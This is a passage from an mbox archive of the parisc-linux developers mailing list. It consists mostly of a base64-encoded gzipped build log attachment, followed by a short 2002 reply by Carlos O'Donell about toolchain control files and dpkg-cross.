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

--OgqxwSJOaUobr8KG
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="build.log.gz"
Content-Transfer-Encoding: base64

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

--OgqxwSJOaUobr8KG--


From - Thu Nov 08 21:23:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Toolchain testing.
Date: Wed, 17 Jul 2002 11:17:19 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20020717151719.GB3602@systemhalted>
References: <20020717150837.GA3602@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621537 11109 80.91.229.3 (22 Nov 2014 01:58:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 09:18:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 929174875
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 09:18:58 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17UqYJ-00010V-00
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 11:17:19 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020717150837.GA3602@systemhalted>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (31% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15548

> 
> Note:
> I have modified the control files for all three pieces of
> the toolchain. This was done with extreme care. The three
> pieces of the toolchain now allow for much finer-grained
> compile time options that can be eventually set by 
> dpkg-buildpackage (or a magical dpkg-compile... or an 
> enhanced dpkg-architecture ... or whatever)
> 

Another note, I have looked at dpkg-cross.

c.



From - Thu Nov 08 21:23:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
